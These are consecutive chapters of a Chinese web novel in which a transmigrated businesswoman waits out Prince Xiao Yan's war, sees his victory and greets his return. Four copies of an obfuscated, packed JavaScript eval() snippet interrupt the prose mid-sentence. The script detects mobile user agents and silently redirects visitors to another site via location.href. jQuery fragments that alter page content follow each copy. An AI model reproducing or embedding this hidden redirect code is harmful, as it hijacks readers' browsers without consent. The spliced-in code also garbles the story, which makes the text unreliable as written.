当然，她也没有为难别人的兴趣，所以见萧衍脸色黯然，便笑了笑：“一件小事，不值得您如此挂怀。王爷，我一个局外人都感受到了当下形势的紧张，您的心思，应该全部放在正事上才对。” 萧衍默了一瞬，问：“那你之前说的，等事情了结，会仔细考虑我的心意，还算数吗？” “算！”莫林知毫不犹豫给了肯定回答。 但肯定回答，不代表是他想要的回答。 萧衍看着面前这张坦荡无畏的脸，心底泛起一丝苦涩。 莫某人恐怕以为自己通情达理，掩饰得很好，可实际上，从那天他阻止她出城开始，她对自己的称呼就变成了生疏的“王爷”和“您”，一如两人刚认识不久。 他知道，不管她之前是怎么考虑的，经此一事，恐怕都要推翻重来了。 一想到这里，他就心下一紧，手不自觉攥紧了。 莫林知视线在他握成拳的手上滑过，眼神微闪，面色不变：“王爷，时间不早了，您还是赶紧休息吧。” “······嗯，是要去休息。”萧衍说着，却半点没有起身离开的意思，于是莫林知也不说话，就陪他这么耗着。过了会儿，萧衍终于开口，只是这内容怎么听都像在对妻子交代自己的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13721618|130909||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 行程，过于亲密了：“明天早上我就要走了，母亲那边，还劳烦你多费心。后面我不在，北境可能会有各种流言蜚语传进来，但你不用过多担心，我都有安排，乱不起来，你还是可以继续做生意。只是若要出远门，记得找萧凛多安排一些人手，别自己单独出门。” 听着他絮絮叨叨的交代，那一刻，莫林知都顾不上保持距离，只觉得心慌。在人终于说完，准备出门时，她忍不住伸手，抓住了他冰冷的铠甲一角：“那个······粮草什么的都够用吗？还有······还有······” 还有什么，她却是不知了。 生意场上无往不利的莫林知这一刻真的抓了瞎，连关心都不知道从何说起，一时懊恼又着急。 但她不知，她这般在意的样子，就已经是萧衍最需要的一剂强心针。他抬手，在她头顶轻轻拍了拍：“别担心，我的短板都被你补上了，接下来，你只要相信我就好。” “······哦！”莫林知愣愣收回手，等人踏出两步了，才回神，慌忙补充，“我相信你，等你平安回来。” 萧衍回首，冲她笑笑，而后大步流星地离开。 莫林知在门口伫立半响，直到脚都冰麻了，她才木木地关门上床，盘腿煨坐。 突然就有些后悔，为什么要在这个关头“直言不讳”呢？为什么就不能忍一忍！ 想想对自己那么好的萧太妃，还有一直把莫林杰当亲弟弟般照顾教导的萧瑾，莫林知都不敢想，万一萧衍在战场出了什么事，她该有多愧疚。 长叹一声，莫林知双手合十，开始默默祈祷。 整晚失眠的效果就是第二天两只眼肿成了核桃，晚香以为她是被前天的事情吓到了，还开了句玩笑说她“反射弧长”，然后就给她煮鸡蛋去了。 拿热鸡蛋滚了半天，浮肿虽然消退了，但黑眼圈还在，莫林知勉强敷了点粉去后院给萧太妃请安，发现大家都一样，面色苍白，眼下青黑，一副没休息好的样子。 三人显然都打了一肚子腹稿要怎么安抚对方，这下好了，面对面一碰，谁也不必编那些瞎话了。 面面相觑几秒，萧太妃、萧瑾、莫林知俱是“扑哧”一声笑了起来，这一笑，反倒将心中的愁闷冲走了些许。 萧太妃揽着莫林知，轻拍安抚：“没事儿，之前粮草不足，衍儿也都赢了，这次有你帮助，没道理还反而输了。” 萧瑾也大大点头，将自己听到的消息一一道出：“而且大哥暂时不会出兵，只是据守，等他们鹬蚌争完，他才会出手，直捣黄龙。” 听着是这么个理，但实际操作真有这么简单么？莫林知心有疑虑，就直接问了。 巧了，这一点萧瑾还真知道，他诡秘一笑，说：“常规情况下，人家当然不会轻率动手，可大哥在其中加了把火，不怕他们争不起来。说起来，也多亏我们北境地形好，冬季漫长，否则，还真没这么容易抽身事外。” 见他说得真真儿的，莫林知哪怕再有疑虑也都暂且放下了。不管怎么说，当前还是要先把这个年好好过完。别萧衍那边还没分出定论，王府反倒先漏了气势。 114. 等待 除夕那天，萧瑾说北境“冬季漫长”，莫林知还并未有什么概念。直到2月过去，雪还未化，这王府的主人也始终不见踪影，那一天，她看着屋檐悬挂的冰棱，蓦地就懂了那句“冬季漫长”究竟有多长。 大概就是，当这层层的雪都压不住人的惦念，只能无奈融化时，这春季，才终于姗姗来迟吧。 这一日，陪萧太妃用过早膳后，莫林知启程去了见闻。 元宵一结束，见闻就开始了值班制，直到一周前，才彻底结束了“冬令时”作息，开始正常上工。齐铭他们花了一周的时间让内部人员进入日常状态，然后在昨天托晚玉传信，说他们准备启程全面落实《见闻》分刊事宜，希望她今天能去总部商量一下。 莫林知早早去了，她不止自己去了，还带上了萧凛。 踏入办公室大门，将东西放下后，莫林知抄上纸笔走进了会议室。里面，齐铭、晚玉、何梅已经在坐。 “说吧，什么安排？” 齐铭拿出他手绘的路线图和时间排期，推至莫林知面前：“这次巡视预计3个月时间，落实分刊之外，更重要的是按照您的设想搭建人才培养体系，以免出现年前述职的那种情况。” 说着他将之前商定的人才培养计划拿出来：“分部不同于总部，天高皇帝远的，他们的培训课程很难说有没有落实到。再者，升职的人员如果仅由分部管事一言决定，也很容易滋生腐败。对此，我设定了两项制度。” “其一、每年进行一次内部巡检，由总部派出考察队，各地巡视打分，第一名奖励一个月绩效，评分低于合格线的管事则扣2个月绩效。其二，分部每年的几个升职加薪名额，让他们年中述职后将名单报上来，该人必须前往总部进行为期1个月的考核，考核通过则落实名额，否则问责分部管事。” 莫林知稍加思索便点了头，批了这项制度：“出发点是好的，但是要避免舞弊情况。例如巡检队伍，不得和任何一地管事有亲朋关系，否则成绩作废——诸如此类的预防措施你们仔细完善完善，别好心办了坏事。” “是。”齐铭在本子上记下，然后掏出另外一叠资料：“值班的这段日子我仔细翻阅了一下北境诸城、县、镇的情况，根据各地的人口和经济水平，大概制定了一个层级划分。这次巡检，也想一次性落实到位，将每个地区的见闻所属等级，该等级需配备的人员，薪水标准等等一一落实下去。” “可以。但不要限制太死。” “您放心，如果有额外的需求，分部管事可以向总部打申请，只要阐明理由，总部这边派人核实清楚，那就可以批。” 莫林知挑眉：“不错啊，考虑得满周全的嘛，当初我没看错人。” 齐铭笑笑，继而目光闪躲：“涉及到人的事情，总是需要更慎重精细一点，所以我才设置了3个月的时间。莫管事，这3个月······总部这边能不能麻烦您多看顾看顾？” “······搞了半天，还给我留了个难题啊。”莫林知隔空点了点他，笑骂，“这不行啊，真正有效的管理是哪怕管事不在，底下的人也能井然有序地完成整个架构运转。我也不能总是你们一出差就给你们补位吧？” “就这一次，拜托了。”齐铭起身，深深弯了下去，后边何梅晚玉也连忙拱手弯腰。 莫林知深深一叹，一脸“拿你们没办法的”样子：“行，就这一次！但我先说好，走之前你们尽量交代清楚，我只坐镇，尽量少让我牵扯进具体事务中。” “没问题，您放心吧，他们都已经被调教好了，扛得住事儿。”齐铭一口保证。 看在他还算懂事的份上，莫林知哼哼两声，没再为难。她点了点萧凛，说：“出门在外，我让萧凛给你们派6个护卫，一人两个，晚点你们去选人。” “好，那就劳烦萧管事了。”齐铭冲萧凛点点头。 “出门在外，安全为上，其他都是次要的。”莫林知说着，顿了顿才继续道，“时局动荡，以定安城为界，暂且不要南下了。” “我知道，我们只到平安镇，燕城那一带我们不去的。” 燕城就是北境真正的关口，是距离皇城最近的地方，也是萧衍目前的驻地。 这几个月，她除了能从萧瑾那听到点消息，就只有李程江的《时事》能窥见一二了。 说起来，她还真没想到，李程江的《时事》能这么快面世。开篇报道就抨击了当下皇城的政治混乱，权柄旁落的现象，以及这个现象下民不聊生的惨状。 整整一张A3大小的纸张，正反四面，将皇城的混乱根源，皇城与北境和各藩王之间的紧张关系，以及萧衍所代表的肃王目前正在做的事情和民心所向一五一十娓娓道来。那字字生动得画面感扑面而来，在城内引起了好一阵议论。 有有时间莫林知出门总能听到周边人支持萧衍，反对皇城诏令的一边倒言论。 说真的，同样是搞内容出身，莫林知深知文字的煽动性。但她以往毕竟只是卖卖货，还是第一次看到，原来顶级文字艺术家，真的可以三言两语让人抛头颅、洒热血。 那时候，行走在这个世界的大街小巷，走在这些人激昂沸腾的声讨中，她突然有种“时空旅客”的不真实感，又有一种历史推动者的恐慌。 她突然真切感受到，推翻一个王朝，不是史书里的寥寥数笔那么简单的，而是需要靠这些血肉之躯，真刀真枪地去拼，去厮杀的。 但她不知道，她的生意，她给北境供给的军需，甚至她放出了李程江这个文字煽动者的行为，能否给这段历史一个正向作用。 纵观历史就会发现，很多结果往往充满戏剧性，人们喜欢把这称之为“命运”。以前莫林知不信命，只信“努力”，现在，她希望“命运”能偏爱她一点。 不要让这个世界因为她的出现而有所偏离，就算有，她希望自己站在了胜利这一边。 齐铭三人离开后，小院少了一个晚玉，显得更寂寥了。 那天说得不甘不愿，但他们一走，莫林知却早九晚六地准时打卡，从无懈怠过。她很少露面，到了也就是在办公室一坐一整天，即便如此，大家也还是从无懈怠，不敢说每一期的《优选》和《 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13725750|130909||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生活》都大爆，但至少没掉过链子，第一季度的目标圆满完成了。 要知道，最近城内的目光都被李程江的《时事》吸引了，在这个节骨眼，还能保住原定增速，已是不易。对此，莫林知还请了一次下午茶，以示鼓励。 又过了一阵子，萧凛来辞行了，还从飞毛腿抽走了一批精锐，对林显那边造成了不少的麻烦。但人也没重新招人手，反而通过对跨城速递的流程优化完美解决了这个骚乱，算是一举双得。 莫林知知道，他是不想让新人顶了那些人的位置。说句矫情的，这种关键时候，哪怕是无神论者也免不了有些忌讳了，因为那些离开的人，早已经是家人一般的存在！ 日子一天天过去，冰封万里的北境也开始披上姹紫嫣红的新衣裳。这样生机勃勃的颜色，本该是希望的象征，但是莫林知想起之前萧瑾说的“地理优势”，只恨不得北境的冬季，再漫长些。 又两个多月过去了，齐铭他们都返回了，萧凛还是一直没回来，萧瑾那边也没了消息，莫林知只知道，萧衍现在已经不在燕城。 不在燕城，那就是在皇城了。 也就是说，这场以天下为筹码的赌注，到了接盅的时候了。 明明没上赌桌，但莫林知感觉自己的心已经悬在了嗓子眼，每天坐卧难安，食不下咽。 “砰。”晚香将雪蛤莲子粥放在石桌上，皱眉看着消瘦得厉害的莫林知，语气严厉：“莫管事，您要是再这样下去身体可就要出问题了，到时候太妃娘娘那边还怎么瞒？” 莫林知收回看着天空的目光，苦笑一声，端起粥碗，小口慢咽。 一周前她就已经假借事务繁忙，不去给萧太妃请安了，莫林杰也托给了萧瑾暂管。这家里的氛围已经足够安静了，她不想再去充当另一个病毒源。 说起来，这具身体还真是不争气，以前也没少熬夜少吃饭，怎么那时候熬出来的就是过劳肥呢？ 一碗粥下肚，莫林知将碗勺搁置一边，继续看向星空：“你说，人为什么会有欲望？无穷无尽的欲望，不觉得累吗？” “为了证明自己活着吧。只不过，有些人仅活着就已经很累了，而有些人拥有的太多，所以就只能追求更多了。” 一番极具哲学辩证思维的话从晚香嘴里说出来，莫林知有那么一瞬都忍不住怀疑身边人和自己一样，是从21世纪穿来的。 但她本人丝毫不觉得奇怪，在莫林知怪异的眼神中，晚香耸耸肩继续说：“说起来，最幸运的应该还是我，借由您这阵东风就把自己的欲望实现了。莫管事，奴婢在此先郑重谢过了~” 又是“奴婢”又郑重行礼的，把莫林知逗笑了。 她知道，对方是在委婉安慰自己，毕竟，两人的愿望也要建立在萧衍胜利的基础之上才能实现。 “你啊······”莫林知无奈摇头，都不知道该怎么评价她的“鬼灵精”。正巧，晚玉下工了，她进来后第一件事就是给莫林知递了封信：“黄管事托人送来的。” 老黄？难道是轮胎有消息了？莫林知精神一振，接过信函。 115. 双喜临门 莫林知带着晚香坐了2个小时的马车赶到道观，还没进门就听到里面小孩子的欢呼声。待到开门一看，是老黄收养的三个孩子，骑着孩童专用自行车在院子里满场撒欢~ 就这一眼，莫林知的眼睛都直了——原因无他，孩子所骑的自行车，轮胎不是木的，而是覆了一层灰黑色的膜。因为这层膜，哪怕院子年久失修，地面坑坑洼洼还有不少枯枝杂草，但是三人的车子愣是如履平地，震颤微小。 果然，轮胎就是得覆盖一层橡胶才行！ 她将带来的干果点心分给孩子们，然后去了后殿。 正巧，魏安正在给一辆成人用自行车安装轮胎，看见她走进来，顿时眼一眯，笑出一排白牙：“您来了，稍等一下，这一辆专门给您打造的，马上就好。” 说着低下头去，加快了手中的动作。 莫林知没有听清他的话，全副心神都在他手中的那个轮胎上，眼神几近痴迷。 太牛了，简直是当世第一杰作！ 诞生于她这个魂穿者的概念，由本土人的智慧研制而成，这简直就是跨世纪的联手！！！ 莫林知看了好半天才终于舍得把目光移开，这一扫，发现这个殿内边上全是各种样式的轮胎，粗细大小各不相同，感觉研制者是把自己脑子里能想到的尺寸型号都做了个遍。 后门边上还立了两辆自行车，装着一掌宽的车胎，有种头轻脚重的畸形感。 莫林知没忍住跨坐上去试了一下。 魏安听到动静，抽空抬头看了眼，而后边做边解释：“那是最早的测试品了。我们发现，轮胎越宽，骑起来就越稳，可以应对各种地形，但是弊端也很明显，就是更耗力。不过你之前不是说要给乡镇收货的飞毛腿做一批可以大容量载货的车吗？我想了想，用这种粗胎正好，稳！适合乡下那路面。” “嗯，那就辛苦你再继续研究研究，最好是双人踩踏，一次搬运的东西更多一些。” “放心，有苗头了，过几天就给你送一辆去试试。”魏安满口答应着，起身将安装好的车子倒正，然后擦了擦坐垫的灰，按了下车铃示意，“来吧，试试？” 莫林知果断放下身下这辆，去试了她的专属座驾。 简直不能更舒服了！ 殿内铺着大块大块的石板，颠簸自然是没有的，但是换做以往，这种路面拐弯很容易打滑，容易“漂”，但换了橡胶轮胎后，这种现象完全没有了。从轮胎反馈到手心的稳稳抓地感，给人一种怎么骑都行的安全感。 莫林知方向一拐，轧过几坎石阶去了院子里——这行为，换做之前的木头轮胎她是不太敢做的，否则手腕都得震断。可这一次，也就是手心微麻而已。 这骑行感觉，真的太爽了！若是可以，莫林知真的想给他们送100个赞！ 在院子里骑了好半响过足了瘾的她将车子交到晚香手上，让她也试试，然后问老黄在哪。 魏安指了指后面一间屋子，小声说：“睡了一天了。” 闻言，莫林知歇了找老黄谈买卖的心思，心想还是让她的大功臣好好歇一歇吧。不过，老黄这边可以放一放，龚煊那边可以先聊起来。 这么想着，她和魏安打过招呼，带着自己这辆车子离开了。 此时还不到正午，就算去了龚煊府上恐怕也找不到人，所以她直奔了李程江的《时事》驻地。那是距离《见闻》不远的一套小民宅，地方不大，但胜在幽静。这巷子里的住户大多是读书人，氛围很好。 莫林知上门时里面安静得紧，一个个不是伏案狂舞着手中笔，就是拿着一本书埋头研究。 她敲了敲门，在里面几人惊喜的目光中笑了笑，问道：“我找龚煊，在吗？” “他正在李管事的办公室谈事情。”韩梅连忙答道，然后起身给她倒茶。 莫林知道谢接过，然后表示自己在院子里等一等，不用通报了。 这一等就是半个多小时，另一侧的一间房门终于打开，龚煊和李程江两人先后走了出来。 见到莫林知，两人先是一喜，继而皱眉，不约而同道： “怎么瘦了这么多？生病了？” 话音一落，看了对方一眼，而后悻悻移开。 莫林知失笑摇头：“以前怎么没见你们这么默契呢。对了，我来是给龚煊送成品。”她指了指身后靠在墙边的车子，“东西做出来了，我想和你谈一桩买卖。” 两人明知她在转移话题却也无可奈何，顺着她的手势看过去，待看到那辆车子与众不同的轮胎时，好奇油然而生。 龚煊过去上手捏了捏：“比我想象的硬，也比我想象的有弹性。你手底下的人果然是不出世的天才。” 对此，莫林知大加赞同：“那可不，谁让我眼光好，看上的都是万里挑一的人才。” 这一句话，把全场所有人都夸进去了，惹得几人嘴角疯狂上扬。 龚煊努力绷着表情，让自己看起来一本正经的样子。他坐上去骑了几圈，发现果真是比之前稳了很多，眼中绽放出惊喜之色：“确实很不一样，若是全天下所有自行车都装上这个······” “那你西南就要发达了。”莫林知笑着接上，她敲了敲桌子，开始进入主题，“我最开始的承诺的不变，配方，制作方法免费赠送。但有一点，我北境同样可以使用这个配方，且这个原材料你得以半价卖我。” 龚煊沉吟少许，摇了摇头：“我需要更明确的范围界定。不如这样，你先统计一个需求量，我也回头去问问我那边的产量，然后商定一个界限值。这个数值以内，我以市场价半价卖你，超出界限，我也承诺给你少一成。” 这个方案，倒是合理，莫林知稍加思索便答应了。 “具体条款就等统计出来了我们再签吧，合作愉快~”她伸出手。 “合作愉快。”龚煊勾唇，握住那只手。 谈完正事，莫林知冲他们俩挥挥手就带着晚香离开了。她得早点让人去魏安那边了解这个东西的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13729568|130909||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 消耗，还需要林显统计下北境的飞毛腿需求以及自行车市场的预估销量。 涉及到大规模的交易，还是尽量落实到纸上为好，不然总感觉不踏实。 而且，她和龚煊这边的数值敲定后，还要再从自己的利润里去分出一部分，和老黄魏安那边再签一份合同。 总而言之，接下来有的忙了。 不过，人一忙起来，就没时间东想西想了。晚香看着不到一天就精神恢复大半的莫林知，第一次觉得“工作”这种东西好像也没那么不好。 两人的马车摇摇晃晃进入王府那条大街，发现以往肃穆安静的府门居然传来喧嚣声——她来了快一年了，这种情况从没发生过。 有什么事情能让王府大门喧闹至此？ 除非是敌人打进来了，如若不然，就是······ 莫林知心跳猛地撞了一下，继而开始失序，咚咚咚咚地四处乱撞。她抬手掀开车帘，正好和门口转圈的老管家四目相对。 面面相觑稍许，老管家脸上绽放出菊花似的笑容，挥舞着手冲车子飞奔了过来，嘴巴一张一合的—— “莫管事，*******” “莫管事，莫管事？” 莫林知闭着眼猛地晃了下脑袋，伴随清晰入耳的心跳，她终于听到了老管家的声音：“王爷打下皇城了，小皇帝和安王两败俱伤，葬身火海了，是咱们王爷赢了！” 莫林知睁大眼睛，只觉得攥着心脏的那只手终于松开了，她猛地喘了口气，下意识奔向王府后院。 老管家见状，生怕她出什么问题，跟在身后一路小跑，一边跑一边喊：“莫管事，您慢点，太妃娘娘已经得到消息了。” 但这一刻，莫林知已经什么都听不见了，她满心满脑就一个念头：萧衍赢了，她的存在没有给对方带来厄运，她不用再愧对太妃和萧瑾了。 天知道这些日子她有多难受，有多恐慌。 没有人能理解，因为大家都觉得自己只是一粒小石子，对历史洪流造成不了什么影响。可她知道，历史的落定，往往就是因为一粒小石子。 好在，命运没有玩弄她，让她赌赢了。 思及此，莫林知脸上一点点绽放出灿烂的笑容。直到踏入太妃院落，她看着坐在那里，喜气洋洋地和身边萧瑾说着什么的萧太妃，再也忍不住，张开双臂，飞奔上前，紧紧地拥住了眼前这个华贵雍容又宽厚慈爱的长辈。 “哎哟喂，我这腰都差点让你撞断了。”萧太妃笑眯着眼，温柔地顺着身上人的脊背，柔声低语，“让你担心了。” 莫林知摇头不语，泪水扑簌簌落下，不一会儿就打湿了萧太妃的衣领。 过了会儿，终于缓和了心情的莫林知擦擦泪痕，终于从萧太妃身上起来，水润泛红的眼眸，看着煞是可怜：“对不起，我失态了。” 萧太妃摇头，拍拍她的手：“都过去了。准备准备吧，衍儿来信说过段时间亲自来接我们入皇城。” “好。” 116. 重逢 没隔几天，萧衍胜利的消息就借由《时事》大面积宣传开了，北境顿时陷入前所未有的狂欢中，其中最直观的反映，就是《优选》和飞毛腿的业务上升了好几倍。 好在萧凛带着人及时回援，才没让林显被突然暴涨的业务量搞崩。 见闻这边因为早就得了莫林知的暗中交代，所以早有准备。齐铭带着晚玉何梅两人，井然有序地承接业务的同时还不动声色地完成了内部的第一轮职位升迁。有了新上任的这一批领导班子在，就算他们几个核心骨干突然被抽调去皇城，北境也不会有任何动摇。 不过，除了见闻之外，还有一个业务，是需要莫林知额外注意的——丽颜。 去年颜丽就嚷嚷着要扩张，要举办丽颜杯，只是不巧，被萧衍那边的计划耽搁了。现在，萧衍入主皇城的消息一传出来，颜丽第一时间就登门了。 “你们大概什么时候动身？我想跟着你们一起走。” “具体时间我也不清楚，不过你若是有这个想法，那这段时间就抓紧将店铺的人事安顿好，省得到时候手忙脚乱。”莫林知忠告，将一杯茶推至好友面前。 颜丽要去皇城发展她并不意外，丽颜杯要发展成美妆行业第一块金子招牌，那总部就势必要落在皇城而不是定安了。 而且，相熟的人能聚在一起是好事儿，萧太妃也喜欢颜丽爽朗大方的性子，有她在，以后即便自己离开了，城内也有人能说说话。 想了想，莫林知将她对丽颜的后续想法悉数告知：“虽然现在你本人也可以单独把丽颜做起来，但我还是建议，背靠大树好乘凉，你最好能找一个本土大家族当靠山。” “我有娘娘还不够吗？” 莫林知摇头：“太显眼的就不是靠山，而是灾祸了，不管是对你还是对娘娘都不太好。黄家你知道吧？之前拍卖会期间，我对他们家几个继承人的印象都不错。能教出这么团结果敢有魄力的后辈，我想家风应该差不了。你若是有意向，我可以帮你牵个线，不用分很多出去，你和娘娘一人拿5个点就行。” 颜丽想了想，最终迟缓点了头：“我信你，到时候你看着安排就好，我全权配合。” “成，那就后面通知你。” “还有个事儿~”颜丽凑近了些许，笑容带着点讨好，“那个，去年和《见闻》签的年框不是快到期了嘛······给我少涨一点儿？” “······”莫林知无语翻了个白眼，“这我管不了，你自己去找齐铭和晚玉吧。” “帮个忙嘛，反正你都准备走了，走前再给我留个余荫呗~”颜丽一边说一边拿肩膀一下一下地撞她，莫林知浑身抖了一抖，往后挪了两个石凳：“行了，你亲自上门去谈谁会不卖你个面子，只要别太过火，一般没什么问题的。” “好耶~谢谢，爱你，么么~~~”颜丽一把蹦起来，抱着莫林知的头猛亲了几下，不等她回神一溜烟地跑没影了。 莫林知：······ 真是交友不慎。 又过了几天，等她将所有事情一五一十地安排妥当，萧衍终于带着几百名亲卫姗姗来迟。 一行人到的时候压根没有提前通知，突然就出现在了城门外，城门守卫先是一惊，而后狂喜地移开城门口的关卡障碍，迅速清出一条康庄大道来。 不止如此，消息所到之处如同摩西分海一般，将熙熙攘攘的人群分至两边，所有摊贩不约而同，连人带摊位一起挪到了巷子和店铺的边边角角。从城门到王府，百姓们自发地以最快速度让出了一条可供三匹马并行的道路来。 萧衍和一行亲卫所到之处，没有骚动，只有整齐的声援和助威——北境的臣民一心，在这一刻完美展现。 刚好从见闻走回家的莫林知站在一家茶叶铺子里，透过窗户看着眼前这一幕，发自内心地笑了起来。 突然就觉得，这个世界，比那个更可爱。 等到人群散去，街上重新恢复井然秩序，莫林知带着晚香慢慢地向着王府走去。拐进那条巷子时，远远就看见老管家又在门口着急地转圈张望着，仿若前些日子的场景重现。 莫林知噗嗤一笑，在老管家飞奔过来开口之前先做了个暂停的手势：“我知道，王爷回来了嘛，我现在就去娘娘院子，您别着急~” 老管家一捶手，连连劝道：“怎么能不急，王爷都问起好几遍了，您可快一点吧~” ——这模样，真是和之前完全颠倒了。 莫林知失笑摇头，顺着他老人家加快了步伐。 隔着一段距离就能听见后院里的欢声笑语，其中尤以莫林杰的声音最尖。老管家赶不及先一步进去通报了，莫林知只听得里面的声音一顿，她刚踏入，什么都还来不及看清就被拥入了一个带着男性气味的怀抱。 还有些凉，有些硌。 是萧衍，估计一路急行军赶路，好几天没洗漱了，所以体味有些重。但这样的体味在此刻，正好也是莫林知需要的。 她需要一些鲜明的记号来提醒自己是清醒的，她是真真切切地迎接了这个人的回归。 莫林知站着不动，乖乖任他抱了好一会儿，等他终于松开的时候，才含笑抬首，温软开口：“恭喜凯旋。” “托你的福。”萧衍回以一笑，然后揽着她的肩回到了那一桌里，继续商量起刚才谈到的事情。 皇城那边，该剔除的隐患都剔除了，丞相和太师两家已经给了先帝陪葬，至于他们派系下的其他人，还得等后续再慢慢理清。 毕竟还是得有人做事情的。再说了，有他的军队在那守着，黄家给他盯着，不怕那些人闹什么幺蛾子。不过隐患就是隐患，还是得早点剔除，所以等他这次回朝，第一件事就是开恩科，重新选拔一批新鲜血液去替换那些坏死的部分。 这是前朝，主要还是萧瑾配合萧衍来执行，而需要萧太妃配合的，就是后宫部分了。 丞相太师恐怕是早有取而代之的意思，所以先帝后宫并无子嗣，只有二十几名嫔妃。这些嫔妃大多都来自臣属之女，倒是不难处理。萧衍很人性化地征求了她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13733814|130909||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们的意见，愿意归家的就归家另嫁，不愿意的就去别院了却余生。 比较复杂的是那些宫女太监，背后势力交错，难辨善恶。 “小知，你有没有什么好的办法？”萧衍突然点名。 莫林知回神，看了一圈，笑着摇头：“我只会做生意，这些真的高估我了，娘娘才是专业的吧？” 萧太妃“哈哈”一笑，也摇头：“我也好久没在那个环境生活了，都生疏了。”她虽然这么说着，但转头就给出了一个建议，“不如先以他们的意愿，放一批人手出宫，反正这次过去我们自己的人都带着的，不缺人伺候。至于不愿意走的，先圈在一处，待慢慢核实身份，再一一安排。” “行，那就有劳母妃了。”萧衍施了一礼，然后进入下一个议题，就是萧太妃回城的鸾驾。 莫林知听着几人的商讨，面色纹丝不变，思绪却早已飘远。 能够被当做一家人坐在这里商讨这些要紧事务，她应该是感到高兴的。可不知为何，心里涌起一阵熟悉的疲倦······她想回房躺一躺。 正如以前每天下班到家，就只想上床躺着当个废人一样。 莫林知扯扯嘴角，收回跑偏的神思，尽忠尽职地扮演好她的身份。 没一会儿碧心来提醒餐食快好了，萧太妃立马收了话题，心疼地看向长子：“有什么明天再说吧，你赶紧先去洗漱换衣服然后来吃饭，吃完了就早早回去休息，你看看你，都瘦成什么样了！” “好，听母妃的。”萧衍也干脆，起身行了一礼后跟着碧心去了旁边的厢房——萧太妃不想让他来回跑，就直接让人把衣物送到了这里，给他在侧厢房辟了一间临时盥洗室。 核心人物一走，院子里顿时安静下来，整个气氛相较刚才直降10度。莫林知细看发现，原来大家眼底深处都泛着一些疲惫和寥落之意。 或许也不全是疲惫，而是······对未知的紧张？ 说到底，在座几人，除了懵懂的莫林杰，都不是那等爱慕荣华权势的人。对这场战争，更多的心理是出于自保，但这一份喜悦，已经在萧衍平安攻下皇城的消息传来时就已经消化完了。现在，听着萧衍一桩接一桩的事情，大家更多的是感受到了责任的沉甸。 ——既怕担不了这份责任，又不知是为了什么而担。 ↑以上是莫林知从自己的心绪出发，对这几人的表情所作的解读。 至于真相是什么，她就管不了了。大家都是成年人了，每个人都有选择权，无非是得失权衡而已。 反正，她自己的路，是早就已经想好了的。 陪着几人一起吃了这顿迟来的“庆功宴”，莫林知牵着小杰率先告辞。 “等等，我跟你一起走。”萧衍紧跟着起身。 萧瑾瞅了下兄长的神色，知机地拉过莫林杰，对她笑笑：“我突然想起来今天的功课还没教小杰，就让他去我那儿吧。” 莫林知没有拒绝的理由，不置可否地同意了，于是最后变成她和萧衍一起离开。 117. 说开 两人一路并行，沿途可见府内仆从们尽忠职守往来穿梭的样子，大家脸上都喜气洋洋的，见到萧衍，远远地都要行礼请个安。 莫林知被这种欢庆的氛围感染，脸上也有了点笑模样，她随手折了一朵花捏在手中把玩，直到两人走到岔路口，她才停住脚，侧首看向身侧的男人：“王爷，好好休息。” 萧衍不答，静静凝视着她，像在端详一个瓷器，想透过那表面的完美无瑕看透内里。 莫林知也毫不闪躲，保持着正面昂首的姿势，脸上的笑意纹丝不变，连眼神都不曾移开一瞬。 旁人路过看到这一幕，恐怕都会忍不住会心一笑，只有身在局中的两人自己知道，此时在他们之间流转的气氛，远远称不上暧昧或者和谐，相反，有些隐隐的凝滞。 不过这种凝滞，恐怕还是萧衍的感觉更深些，毕竟自从知道他安好，又亲眼见到他安全，莫林知心里唯一的大石就彻底落下了。现在，不管发生什麽，于她而言都只是微渺砂砾，拂手可去，所以，她怎么着都是泰然自若的。 这样的泰然自若，在萧衍眼里就成了另一种暗示。可即便明知答案兴许要让自己失望，他也还是忍不住，想尽快问个明白。 